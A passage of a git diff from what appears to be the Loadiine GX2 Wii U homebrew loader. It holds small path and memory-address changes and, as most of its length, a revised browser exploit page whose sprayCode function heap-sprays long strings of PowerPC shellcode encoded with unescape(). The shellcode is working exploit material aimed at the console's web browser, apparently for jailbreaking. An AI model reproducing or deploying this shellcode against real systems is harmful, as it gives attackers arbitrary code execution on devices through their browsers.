homebrew launcher in all other cases + else + { + //MAIN_ENTRY_ADDR = 0xDEADC0DE; + //private_data.SYSRelaunchTitle(0, 0); + //private_data.__Exit(); + break; + } + } } } - return ((int (*)(int, char **))MAIN_ENTRY_ADDR)(argc, argv); + return ( (int (*)(int, char **))(*(unsigned int*)OS_SPECIFICS->addr_OSTitle_main_entry) )(argc, argv); } diff --git a/sd_loader/src/link.ld b/sd_loader/src/link.ld index 44fb180..f57f59b 100644 --- a/sd_loader/src/link.ld +++ b/sd_loader/src/link.ld @@ -19,4 +19,4 @@ SECTIONS { } } -ASSERT((SIZEOF(.text) + SIZEOF(.data)) < 0x1100, "Memory overlapping with main elf."); +ASSERT((SIZEOF(.text) + SIZEOF(.data)) < 0x1000, "Memory overlapping with main elf."); diff --git a/src/common/common.h b/src/common/common.h index b8bd5b0..c2ca44a 100644 --- a/src/common/common.h +++ b/src/common/common.h @@ -11,11 +11,11 @@ extern "C" { /* Loadiine common paths */ #define CAFE_OS_SD_PATH "/vol/external01" #define SD_PATH "sd:" -#define SD_LOADIINE_PATH "/wiiu" +#define WIIU_PATH "/wiiu" #define GAMES_PATH "/games" #define SAVES_PATH "/saves" -#define SD_GAMES_PATH SD_LOADIINE_PATH GAMES_PATH -#define SD_SAVES_PATH SD_LOADIINE_PATH SAVES_PATH +#define SD_GAMES_PATH WIIU_PATH GAMES_PATH +#define SD_SAVES_PATH WIIU_PATH SAVES_PATH #define CONTENT_PATH "/content" #define RPX_RPL_PATH "/code" #define META_PATH "/meta" @@ -44,6 +44,9 @@ extern "C" { #ifndef MEM_BASE #define MEM_BASE (0x00800000) #endif + +#define ELF_DATA_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x00)) +#define ELF_DATA_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x04)) #define MAIN_ENTRY_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x00)) #define OS_FIRMWARE (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x04)) #define PREP_TITLE_CALLBACK (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x08)) diff --git a/src/settings/CSettings.cpp b/src/settings/CSettings.cpp index 83da476..418cc5d 100644 --- a/src/settings/CSettings.cpp +++ b/src/settings/CSettings.cpp @@ -36,7 +36,7 @@ CSettings::CSettings() memset(&nullValue, 0, sizeof(nullValue)); nullValue.strValue = new std::string(); - configPath = SD_PATH SD_LOADIINE_PATH "/apps/loadiine_gx2"; + configPath = SD_PATH WIIU_PATH "/apps/loadiine_gx2"; this->SetDefault(); } @@ -99,7 +99,7 @@ void CSettings::SetDefault() settingsNames[GameCover3DPath] = "GameCover3DPath"; settingsValues[GameCover3DPath].dataType = TypeString; - settingsValues[GameCover3DPath].strValue = new std::string(SD_PATH SD_LOADIINE_PATH "/apps/loadiine_gx2/covers3d"); + settingsValues[GameCover3DPath].strValue = new std::string(SD_PATH WIIU_PATH "/apps/loadiine_gx2/covers3d"); settingsNames[ConsoleRegionCode] = "ConsoleRegionCode"; settingsValues[ConsoleRegionCode].dataType = TypeString; @@ -108,11 +108,11 @@ void CSettings::SetDefault() settingsNames[DebugLoggerIP] = "DebugLoggerIP"; settingsValues[DebugLoggerIP].dataType = TypeString; settingsValues[DebugLoggerIP].strValue = new std::string("192.168.178.3"); - + settingsNames[GameStartIndex] = "GameStartIndex"; settingsValues[GameStartIndex].dataType = TypeU16; settingsValues[GameStartIndex].uiValue = 0; - + } bool CSettings::Load() diff --git a/www/loadiine/code532.bin b/www/loadiine/code532.bin index fcb557c..fd07004 100644 Binary files a/www/loadiine/code532.bin and b/www/loadiine/code532.bin differ diff --git a/www/loadiine/payload500.html b/www/loadiine/payload500.html new file mode 100644 index 0000000..775fa3a --- /dev/null +++ b/www/loadiine/payload500.html @@ -0,0 +1,580 @@ + +
+ + + + + + diff --git a/www/loadiine/payload532.html b/www/loadiine/payload532.html index c23d996..949f803 100644 --- a/www/loadiine/payload532.html +++ b/www/loadiine/payload532.html @@ -55,209 +55,209 @@ } function sprayCode(n) { - var str = unescape("%ucafe%ucafe%u3c20%u1ab5%u6021%ud138%u4800%u1add%u7c08%u02a6%u9421%ufff0%u93c1%u0004%u93e1%u0008%u7c05%u0378%u7c26%u0b78%u3800%u3600%u4400%u0002%u6000%u0000%u7ca0%u2b78%u7cc1%u3378%u83c1%u0004"); + var str = unescape("%ucafe%ucafe%u3c20%u1ab5%u6021%ud138%u4800%u178d%u7c08%u02a6%u9421%ufff0%u93c1%u0004%u93e1%u0008%u7c05%u0378%u7c26%u0b78%u3800%u3600%u4400%u0002%u6000%u0000%u7ca0%u2b78%u7cc1%u3378%u83c1%u0004"); str += unescape("%u83e1%u0008%u3821%u0010%u7c08%u03a6%u4e80%u0020%u7fd8%u82a6%u7ff9%u82a6%u7c00%u06ac%u4c00%u012c%u3c60%ufff0%u6063%u0002%u7c78%u83a6%u3c60%ufff0%u6063%u0032%u7c79%u83a6%u7c00%u06ac%u4c00%u012c"); - str += unescape("%u3c60%ufff1%u6063%ud638%u3c80%u3ce0%u6084%u3080%u9083%u0000%u3c80%u60e7%u6084%u0013%u9083%u0004%u3c80%u7cf1%u6084%u8ba6%u9083%u0008%u3c80%u3ce0%u6084%u0080%u9083%u000c%u3c80%u60e7%u6084%u00ff"); - str += unescape("%u9083%u0010%u3c80%u7cf0%u6084%u8ba6%u9083%u0014%u3c80%u7c00%u6084%u06ac%u9083%u0018%u3c80%u4c00%u6084%u012c%u9083%u001c%u3c80%u7ce8%u6084%u02a6%u9083%u0020%u3c80%u4880%u6084%u2003%u9083%u0024"); - str += unescape("%u3c60%ufff1%u6063%ud620%u7c00%u18ac%u7c00%u1fac%u3c60%ufff1%u6063%ud640%u7c00%u18ac%u7c00%u1fac%u7c00%u04ac%u3c60%u3080%u6063%u0013%u7c71%u8ba6%u3c60%u0080%u6063%u00ff%u7c70%u8ba6%u7c00%u06ac"); - str += unescape("%u4c00%u012c%u3c80%u4880%u6084%u203b%u3c60%ufff1%u6063%u8558%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u7fd8%u83a6%u7ff9%u83a6%u7c00%u06ac%u4c00%u012c%u4c00%u0064%u5463%u083c%u3863%u0001%u7c69%u03a6"); - str += unescape("%u4240%u000c%u6000%u0000%u4bff%ufff8%u4e80%u0020%u9421%uffd0%u7c08%u02a6%u3ca0%u0180%u3880%u0000%ubfc1%u0028%u3fe0%u0102%u63ff%ub790%u9001%u0034%u7fe9%u03a6%u38a5%u2430%u38c1%u001c%u7c7e%u1b78"); - str += unescape("%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u2437%u38c1%u0018%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u2449%u38c1%u0014%u4e80%u0421%u3ca0%u0180"); - str += unescape("%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u2458%u38c1%u0010%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u246a%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38c1%u0008%u38a5%u2473"); - str += unescape("%u7fc3%uf378%u3880%u0000%u7fe9%u03a6%u4e80%u0421%u8121%u0008%u7d29%u03a6%u4e80%u0421%u8121%u0018%u7c7e%u1b78%u3880%u0040%u7d29%u03a6%u3860%u0100%u4e80%u0421%u8121%u001c%u3880%u0000%u38a0%u0100"); - str += unescape("%u7d29%u03a6%u7c7f%u1b78%u4e80%u0421%u8121%u0010%u7fe4%ufb78%u38a0%u0003%u38c0%u0000%u38e0%u0000%u7d29%u03a6%u7fc3%uf378%u4e80%u0421%u8121%u000c%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u8121%u0014"); - str += unescape("%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u3c60%u1fff%u6063%uffff%u4bff%ufea1%u3961%u0030%u4800%u2064%u9421%uffd8%u7c08%u02a6%u3d20%u0102%ubfa1%u001c%u6129%ub790%u7cbe%u2b78%u3ca0%u0180%u9001%u002c"); - str += unescape("%u7c9d%u2378%u7cdf%u3378%u7d29%u03a6%u3880%u0000%u38a5%u247b%u38c1%u0008%u4e80%u0421%u8121%u0008%u7fa4%ueb78%u7fc5%uf378%u7d29%u03a6%u7fe6%ufb78%u3860%u0000%u4e80%u0421%u8121%u0008%u3860%u0001"); - str += unescape("%u7fa4%ueb78%u7fc5%uf378%u7fe6%ufb78%u7d29%u03a6%u4e80%u0421%u3961%u0028%u4800%u1fe4%u9421%uffd8%u7c08%u02a6%u3d20%u0102%ubf81%u0018%u6129%ub790%u7cbd%u2b78%u3ca0%u0180%u9001%u002c%u38a5%u248d"); - str += unescape("%u7d29%u03a6%u7c9e%u2378%u7cdc%u3378%u3880%u0000%u38c1%u0008%u7cff%u3b78%u579c%u402e%u57bd%u801e%u7f9f%ufb78%u57de%uc00e%u7fff%ueb78%u4e80%u0421%u8121%u0008%u7fff%uf378%u3860%u0000%u7d29%u03a6"); - str += unescape("%u7fe4%ufb78%u4e80%u0421%u8121%u0008%u3860%u0001%u7fe4%ufb78%u7d29%u03a6%u4e80%u0421%u3961%u0028%u4800%u1f58%u9421%uffe0%u7c08%u02a6%u3ca0%u0180%u3880%u0000%ubfc1%u0018%u3fe0%u0102%u63ff%ub790"); - str += unescape("%u9001%u0024%u7fe9%u03a6%u38a5%u24a3%u38c1%u0010%u7c7e%u1b78%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u7fc3%uf378%u3880%u0000%u38a5%u24b0%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u24c6%u38c1%u0008"); - str += unescape("%u3880%u0000%u7fe9%u03a6%u7fc3%uf378%u4e80%u0421%u8121%u0008%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u0008%u7c7f%u1b78%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0010%u7c64%u1b78%u3c7f%uf400"); - str += unescape("%u7d29%u03a6%u4e80%u0421%u8121%u0010%u7fe4%ufb78%u3c60%uf400%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0001%u7d29%u03a6%u4e80%u0421%u3961%u0020"); - str += unescape("%u4800%u1e80%u9421%uffe8%u7c08%u02a6%ubfa1%u000c%u7c9e%u2378%u7c7f%u1b78%u7fc6%uf378%u3880%u0000%u9001%u001c%u7cbd%u2b78%u4bff%ufdf9%u7fe3%ufb78%u4bff%ufef5%u7fe3%ufb78%u7fa5%ueb78%u7fc6%uf378"); - str += unescape("%u3880%u0000%u4bff%ufddd%u8001%u001c%u7fe3%ufb78%ubba1%u000c%u7c08%u03a6%u3821%u0018%u4bff%ufec8%u9421%uffe0%u7c08%u02a6%u3ca0%u0180%u3880%u0000%ubfc1%u0018%u3fc0%u0102%u63de%ub790%u9001%u0024"); - str += unescape("%u7fc9%u03a6%u38a5%u24de%u38c1%u0010%u7c7f%u1b78%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u7fe3%ufb78%u3880%u0000%u38a5%u24c6%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u24eb%u38c1%u0008%u3880%u0000"); - str += unescape("%u7fe3%ufb78%u7fc9%u03a6%u4e80%u0421%u8121%u0010%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u000c%u7c7e%u1b78%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0008"); - str += unescape("%u3c80%uf400%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u0008%u3c9e%uf400%u3860%u0001%u7d29%u03a6%u4e80%u0421%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u7fe3%ufb78%u4bff%ufd65%u7fe3%ufb78"); - str += unescape("%u4bff%ufde5%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u7fe3%ufb78%u4bff%ufd45%u7fe3%ufb78%u4bff%ufdc5%u3c80%u0180%u7fe3%ufb78%u3884%u24ff%u38a0%u0000%u4bff%ufe91%u3961%u0020%u4800%u1d04"); - str += unescape("%u7c08%u02a6%u9421%uffe0%u3d20%u0102%u3ca0%u0180%u6129%ub790%u93e1%u001c%u7d29%u03a6%u9001%u0024%u3880%u0000%u38a5%u2517%u38c1%u0008%u7c7f%u1b78%u4e80%u0421%u3880%u0000%u38a0%u0000%u38c0%u0000"); - str += unescape("%u38e0%u0000%u7fe3%ufb78%u4bff%ufcd5%u7fe3%ufb78%u4bff%ufd55%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u7fe3%ufb78%u4bff%ufcb5%u7fe3%ufb78%u4bff%ufd35%u8121%u0008%u7d29%u03a6%u4e80%u0421"); - str += unescape("%u3961%u0020%u4800%u1c80%u9421%uffd8%u7c08%u02a6%u3ca0%u0180%ubfa1%u001c%u3fe0%u0102%u63ff%ub790%u9001%u002c%u7fe9%u03a6%u7c9d%u2378%u38a5%u2437%u3880%u0000%u38c1%u0014%u7c7e%u1b78%u4e80%u0421"); - str += unescape("%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u251d%u38c1%u0010%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u252c%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u253b"); - str += unescape("%u38c1%u0008%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u4e80%u0421%u8121%u0014%u3880%u0020%u3860%u0300%u7d29%u03a6%u4e80%u0421%u8121%u0014%u7c7e%u1b78%u3880%u0008%u7d29%u03a6%u3860%u1000%u4e80%u0421"); - str += unescape("%u8161%u0010%u3920%u0000%u7fa4%ueb78%u7d69%u03a6%u38a0%u0000%u38c0%u0000%u38fe%u0300%u3900%u0300%u3940%u001a%u7c7f%u1b78%u4e80%u0421%u8121%u000c%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u8121%u0008"); - str += unescape("%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u409e%u0028%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u4bff%uffc8%u3961%u0028%u4800%u1b40"); - str += unescape("%u38a5%u0001%u3920%u0000%u7ca9%u03a6%u4240%u001c%u7d03%u48ae%u7d44%u48ae%u7f88%u5000%u409e%u0014%u3929%u0001%u4bff%uffe8%u3860%u0000%u4e80%u0020%u3860%u0001%u4e80%u0020%u38a5%u0001%u3920%u0000"); - str += unescape("%u7ca9%u03a6%u4240%u0014%u7d44%u48ae%u7d43%u49ae%u3929%u0001%u4bff%ufff0%u4e80%u0020%u7c08%u02a6%u9421%uffe8%ubf81%u0008%u7c7e%u1b78%u9001%u001c%u7c9d%u2378%u7cbf%u2b78%u3f80%u0180%u7f9f%ue000"); - str += unescape("%u419e%u0024%u7fe3%ufb78%u7fc4%uf378%u7fa5%ueb78%u4bff%uff71%u2f83%u0000%u419e%u005c%u3bff%u0004%u4bff%uffdc%u3f80%u0f84%u3fe0%u0d80%u639c%u8a0c%u7fe3%ufb78%u7fc4%uf378%u7fa5%ueb78%u4bff%uff45"); - str += unescape("%u2f83%u0000%u419e%u0030%u3bff%u0004%u7f9f%ue000%u409e%uffe0%u3d20%u0103%u3c60%u0180%u6129%u1368%u3863%u2550%u7d29%u03a6%u4e80%u0421%u3860%u0000%u4800%u0008%u7fe3%ufb78%u3961%u0018%u4800%u1a3c"); - str += unescape("%u7c08%u02a6%u9421%ufff0%u93e1%u000c%u7c7f%u1b78%u9001%u0014%u3860%u0001%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u3d00%u0001%u7fe9%ufb78%u3800%u3400%u7c3f%u0b78%u4400%u0002%u6000%u0000"); - str += unescape("%u7fe1%ufb78%u7c7f%u1b78%u3961%u0010%u7fe3%ufb78%u4800%u19f4%u7c08%u02a6%u9421%ufff0%ubfc1%u0008%u7c7f%u1b78%u9001%u0014%u7c9e%u2378%u3860%u0001%u3880%u0000%u7fc5%uf378%u38c0%u0000%u38e0%u0000"); - str += unescape("%u3d00%u0001%u7fe9%ufb78%u7c3e%u0b78%u3800%u3500%u4400%u0002%u6000%u0000%u7fc1%uf378%u3961%u0010%u4800%u19a0%u9421%ufea0%u7c08%u02a6%u3c60%u0180%ube41%u0128%u3fe0%u0102%u63ff%ua31c%u9001%u0164"); - str += unescape("%u7fe9%u03a6%u3863%u2562%u3881%u0124%u4e80%u0421%u3c60%u0180%u7fe9%u03a6%u3881%u0120%u3863%u256b%u3fe0%u0102%u63ff%ub790%u4e80%u0421%u8061%u0124%u4bff%uf7a1%u8061%u0124%u4bff%ufb29%u3ca0%u0180"); - str += unescape("%u7fe9%u03a6%u8061%u0124%u3880%u0000%u38a5%u2430%u38c1%u011c%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0124%u3880%u0000%u38a5%u2572%u38c1%u0118%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0124"); - str += unescape("%u3880%u0000%u38a5%u2437%u38c1%u0114%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0124%u3880%u0000%u38a5%u2449%u38c1%u0110%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0124%u3880%u0000%u38a5%u24a3"); - str += unescape("%u38c1%u010c%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0124%u3880%u0000%u38a5%u2579%u38c1%u0108%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0124%u3880%u0000%u38a5%u258b%u38c1%u0104%u4e80%u0421"); - str += unescape("%u3ca0%u0180%u7fe9%u03a6%u8061%u0124%u3880%u0000%u38a5%u251d%u38c1%u0100%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0124%u3880%u0000%u38a5%u252c%u38c1%u00fc%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6"); - str += unescape("%u8061%u0124%u3880%u0000%u38a5%u259d%u38c1%u00f8%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0124%u3880%u0000%u38a5%u2517%u38c1%u00f4%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0120%u3880%u0000"); - str += unescape("%u38a5%u25a7%u38c1%u00f0%u4e80%u0421%u3ca0%u0180%u38a5%u25ba%u38c1%u00ec%u7fe9%u03a6%u8061%u0120%u3880%u0000%u4e80%u0421%u8121%u0114%u3880%u0020%u3860%u0300%u7d29%u03a6%u4e80%u0421%u8121%u0114"); - str += unescape("%u7c7f%u1b78%u3880%u0020%u7d29%u03a6%u3860%u0300%u4e80%u0421%u8121%u0114%u7c7e%u1b78%u3880%u0008%u7d29%u03a6%u3860%u1000%u4e80%u0421%u8161%u0100%u38a0%u0000%u38c0%u0000%u7d69%u03a6%u38ff%u0300"); - str += unescape("%u3900%u0300%u3940%u0001%u8081%u00f4%u3920%u0000%u7c7b%u1b78%u4e80%u0421%u8121%u0114%u7c7d%u1b78%u3880%u0008%u7d29%u03a6%u3860%u1000%u4e80%u0421%u8161%u0100%u8081%u00f4%u38a0%u0000%u38c0%u0000"); - str += unescape("%u38fe%u0300%u3900%u0300%u3920%u0000%u3940%u0004%u7d69%u03a6%u7c7c%u1b78%u4e80%u0421%u2f9d%u0000%u419e%u000c%u2f83%u0000%u409e%u002c%u8061%u0124%u3c80%u0180%u3884%u25cc%u38a0%u0001%u4bff%uf889"); - str += unescape("%u3c60%u2fff%u6063%uffff%u4bff%uf52d%u8061%u0124%u4bff%uf9f1%u8061%u0124%u3c80%u0180%u3884%u25f8%u38a0%u0001%u4bff%uf861%u3d20%u0102%u6129%ub790%u3ca0%u0180%u38c1%u00e8%u7d29%u03a6%u8061%u0124"); - str += unescape("%u3880%u0000%u38a5%u260b%u3fa0%u0180%u3bbd%u2354%u4e80%u0421%u8121%u00e8%u7fa4%ueb78%u38a0%u002c%u3929%u0044%u3861%u0040%u9121%u00e8%u4bff%ufb8d%u80a1%u00f8%u3880%u002c%u3861%u0040%u4bff%ufba1"); - str += unescape("%u389d%u002c%u7c7a%u1b78%u3861%u009c%u7ca4%uc4aa%u7ca3%uc5aa%u3880%u0018%u80a1%u00f8%u4bff%ufb81%u389d%u0044%u7c77%u1b78%u3861%u0084%u7ca4%uc4aa%u7ca3%uc5aa%u3880%u0018%u80a1%u00f8%u4bff%ufb61"); - str += unescape("%u389d%u005c%u7c73%u1b78%u38a0%u0038%u3861%u0008%u4bff%ufb29%u80a1%u00f8%u3880%u0038%u3861%u0008%u4bff%ufb3d%u389d%u0094%u7c74%u1b78%u3861%u006c%u7ca4%uc4aa%u7ca3%uc5aa%u3880%u0018%u80a1%u00f8"); - str += unescape("%u4bff%ufb1d%u393d%u00ac%u7c76%u1b78%u3861%u00d8%u7ca9%u64aa%u7ca3%u65aa%u3880%u000c%u80a1%u00f8%u4bff%ufafd%u393d%u00b8%u7c78%u1b78%u3861%u00cc%u7ca9%u64aa%u7ca3%u65aa%u3880%u000c%u80a1%u00f8"); - str += unescape("%u4bff%ufadd%u395d%u00c4%u7c72%u1b78%u3861%u00c0%u7caa%u64aa%u7ca3%u65aa%u3880%u000c%u80a1%u00f8%u3bbd%u00d0%u4bff%ufab9%u3880%u000c%u7c75%u1b78%u3861%u00b4%u7cbd%u64aa%u7ca3%u65aa%u80a1%u00f8"); - str += unescape("%u4bff%ufa9d%u393f%u0080%u3940%u0050%u913b%u000c%u915b%u007c%u3920%u0000%u395a%u000c%u38df%u01f8%u38bf%u0220%u913b%u0078%u90db%u0084%u391f%u0208%u915b%u0098%u3880%u0004%u90bf%u014c%u38bf%u0218"); - str += unescape("%u90bf%u0168%u38bf%u0210%u90df%u01fc%u3cc0%u4452%u90bf%u0178%u60c6%u5642%u38bf%u0230%u90df%u0208%u90bf%u01a8%u3cc0%u4452%u38bf%u021c%u80e1%u00e8%u90bf%u01c4%u60c6%u5643%u38bf%u0228%u911f%u0118"); - str += unescape("%u90bf%u01dc%u3900%u0004%u38ba%u0028%u90df%u0210%u38de%u0080%u90bf%u01f4%u90ff%u0094%u7c79%u1b78%u911f%u011c%u935f%u0154%u911f%u017c%u935f%u01e4%u915f%u01f8%u913f%u0200%u913f%u0204%u913f%u020c"); - str += unescape("%u913f%u0214%u92ff%u0114%u92df%u0124%u927f%u0164%u92ff%u0174%u92df%u0184%u929f%u01b4%u913f%u0218%u913f%u021c%u913f%u0224%u913f%u022c%u925f%u0220%u931f%u0228%u90dc%u000c%u38c0%u005c%u90dc%u007c"); - str += unescape("%u38de%u01a8%u90dc%u0084%u913c%u0078%u915c%u0098%u913e%u01b0%u913e%u01b4%u913e%u01bc%u913e%u01c4%u3d20%udead%u90fe%u0094%u6129%uc0de%u38fe%u0204%u915e%u01a8%u90fe%u0118%u3d40%u4452%u38fe%u01b8"); - str += unescape("%u913e%u0204%u8121%u0114%u614a%u5641%u90fe%u0128%u38fe%u01c8%u911e%u012c%u7d29%u03a6%u911e%u0174%u391e%u01c0%u90fe%u0158%u911e%u018c%u915e%u01b8%u90de%u01ac%u935e%u0194%u90be%u01a4%u907e%u01c0"); - str += unescape("%u3860%u0008%u927e%u0114%u92fe%u0124%u92de%u0134%u929e%u0164%u4e80%u0421%u8121%u0118%u3c80%u0180%u38a0%u0005%u7d29%u03a6%u3884%u2618%u7c7d%u1b78%u4e80%u0421%u8121%u0114%u3880%u0004%u3860%u0008"); - str += unescape("%u7d29%u03a6%u4e80%u0421%u8121%u0118%u3c80%u0180%u38a0%u0005%u7d29%u03a6%u3884%u261d%u7c7a%u1b78%u4e80%u0421%u7fa3%ueb78%u3880%u0004%u38a0%u0000%u38c0%u0000%u7f09%u03a6%u4e80%u0421%u3880%u0004"); - str += unescape("%u7c7d%u1b78%u38a0%u0000%u7f43%ud378%u38c0%u0000%u7f09%u03a6%u4e80%u0421%u7c69%ueb79%u41a2%u0038%u8061%u0124%u3c80%u0180%u3884%u2622%u38a0%u0002%u4bff%uf4d5%u3c60%u2fff%u6063%uffff%u4bff%uf179"); - str += unescape("%u8061%u0124%u8081%u00ec%u4bff%uf6c1%u8061%u0124%u4bff%uf631%u8121%u0114%u3860%u1000%u3880%u0020%u7d29%u03a6%u4e80%u0421%u7c7d%u1b79%u40a2%u0038%u8061%u0124%u3c80%u0180%u3884%u265b%u38a0%u0002"); - str += unescape("%u4bff%uf485%u3c60%u2fff%u6063%uffff%u4bff%uf129%u8061%u0124%u8081%u00ec%u4bff%uf671%u8061%u0124%u4bff%uf5e1%u3d20%u0123%u7fa3%ueb78%u6129%u4567%u3880%u1000%u913d%u0000%u3d20%u4452%u6129%u5648"); - str += unescape("%u913d%u0fb4%u3d20%u4158%u913d%u0fb8%u3920%u0008%u913d%u0ff4%u3d20%uffea%u6129%ua1b0%u913d%u0ff8%u8121%u010c%u7d29%u03a6%u4e80%u0421%u8121%u0108%u3880%u1000%u7fa3%ueb78%u7d29%u03a6%u4e80%u0421"); - str += unescape("%u8121%u00fc%u7f63%udb78%u7d29%u03a6%u4e80%u0421%u8121%u00fc%u7f83%ue378%u7d29%u03a6%u4e80%u0421%u3ca0%uc000%u3880%u0004%u60a5%u0004%u38c0%u0004%u7f29%u03a6%u7f43%ud378%u4e80%u0421%u3920%u0000"); - str += unescape("%u38c0%u1000%u913e%u01ac%u7fa5%ueb78%u913f%u01fc%u3880%u0004%u7f29%u03a6%u7f43%ud378%u3fc0%ufff0%u63de%u2274%u4e80%u0421%u8121%u0114%u3880%u0004%u3860%u0008%u7d29%u03a6%u4e80%u0421%u8121%u0118"); - str += unescape("%u3c80%u0180%u38a0%u0007%u7d29%u03a6%u3884%u268b%u7c7f%u1b78%u4e80%u0421%u8121%u0114%u3880%u0004%u3860%u0008%u7d29%u03a6%u4e80%u0421%u3d20%ufff0%u6129%u2294%u7c65%u1b78%u9123%u0004%u3880%u0006"); - str += unescape("%u93c3%u0000%u38c0%u0008%u7f29%u03a6%u7fe3%ufb78%u4e80%u0421%u3920%u002a%u7c25%u0b78%u7fe3%ufb78%u9525%u00e4%u3880%u0006%u38c0%u0004%u7ea9%u03a6%u4e80%u0421%u8121%u00e4%u7f89%uf000%u419e%u0038"); - str += unescape("%u8061%u0124%u3c80%u0180%u3884%u2692%u38a0%u0002%u4bff%uf2f5%u3c60%u2fff%u6063%uffff%u4bff%uef99%u8061%u0124%u8081%u00ec%u4bff%uf4e1%u8061%u0124%u4bff%uf451%u3c60%uff20%u3f60%uff20%u6063%u000c"); - str += unescape("%u3f40%u4452%u4bff%uf6fd%u3f20%u4452%u5463%u2036%u3bc0%u0000%u3fa3%uff20%u3be0%u0000%u3bbd%u0014%u637b%u0013%u635a%u5641%u6339%u5648%u7f9d%ud840%u409d%u0048%u7fa3%ueb78%u4bff%uf6c9%u7c7c%u1b78"); - str += unescape("%u4bff%uf6c1%u7f83%ud000%u419e%u0014%u7f83%uc800%u40be%u0010%u7f9e%ue378%u4800%u0008%u7f9f%ue378%u2f9f%u0000%u419e%u000c%u2f9e%u0000%u409e%u0050%u3bbd%ufff0%u4bff%uffb8%u2f9f%u0000%u419e%u000c"); - str += unescape("%u2f9e%u0000%u409e%u0038%u8061%u0124%u3c80%u0180%u3884%u26ba%u38a0%u0002%u4bff%uf22d%u3c60%u2fff%u6063%uffff%u4bff%ueed1%u8061%u0124%u8081%u00ec%u4bff%uf419%u8061%u0124%u4bff%uf389%u387e%u0048"); - str += unescape("%u7fe4%ufb78%u4bff%uf691%u3c60%uffea%u6063%uaa58%u3c80%u1000%u4bff%uf681%u3c60%uffea%u3c80%u2830%u6063%uaa5c%u6084%u5800%u4bff%uf66d%u8061%u0124%u3c80%u0180%u38a0%u0002%u3884%u26ed%u4bff%uf1c9"); - str += unescape("%u3c60%u1fff%u6063%uffff%u4bff%uee6d%u8061%u0124%u8081%u00f0%u4bff%uf3b5%u8061%u0124%u4bff%uf325%u3961%u0160%u4800%u0fec%u7c08%u02a6%u9421%uffc0%u3ca0%u0180%ubf61%u002c%u3fc0%u0102%u9001%u0044"); - str += unescape("%u63de%ub790%u7c7f%u1b78%u7fc9%u03a6%u7c9c%u2378%u8063%u0004%u3880%u0000%u38a5%u2716%u38c1%u001c%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u807f%u0004%u3880%u0000%u38a5%u2723%u38c1%u0018%u4e80%u0421"); - str += unescape("%u3ca0%u0180%u7fc9%u03a6%u807f%u0004%u3880%u0000%u38a5%u273b%u38c1%u0014%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u807f%u0004%u3880%u0000%u38a5%u274f%u38c1%u0010%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6"); - str += unescape("%u807f%u0004%u3880%u0000%u38a5%u2765%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u277b%u38c1%u0008%u3880%u0000%u807f%u0004%u7fc9%u03a6%u4e80%u0421%u8121%u001c%u7d29%u03a6%u4e80%u0421%u8121%u0018"); - str += unescape("%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u0018%u7c7e%u1b78%u3860%u0001%u7d29%u03a6%u3fbe%uf400%u4e80%u0421%u8121%u0014%u7c7b%u1b78%u3c80%uf400%u7d29%u03a6%u3860%u0000%u4e80%u0421%u8121%u0014"); - str += 